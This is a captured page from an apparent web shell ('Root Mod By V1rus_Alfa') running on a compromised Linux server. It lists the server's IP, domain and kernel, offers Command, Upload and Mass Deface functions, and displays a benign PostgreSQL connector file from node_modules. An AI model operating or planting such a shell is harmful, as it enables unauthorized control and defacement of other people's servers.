���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
db0
/
connectors
/
Viewing: postgresql.mjs
import { Client } from "pg"; export default function sqliteConnector(opts) { let _client; function getClient() { if (_client) { return _client; } const client = new Client("url" in opts ? opts.url : opts); _client = client.connect().then(() => { _client = client; return _client; }); return _client; } async function query(sql, params) { const client = await getClient(); return client.query(normalizeParams(sql), params); } return { name: "postgresql", exec(sql) { return query(sql); }, prepare(sql) { const stmt = { _sql: sql, _params: [], bind(...params) { if (params.length > 0) { this._params = params; } return stmt; }, all(...params) { return query(this._sql, params || this._params).then((r) => r.rows); }, run(...params) { return query(this._sql, params || this._params).then((r) => ({ result: r, rows: r.rows })); }, get(...params) { return query(this._sql, params || this._params).then( (r) => r.rows[0] ); } }; return stmt; } }; } function normalizeParams(sql) { let i = 0; return sql.replace(/\?/g, () => `$${++i}`); }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa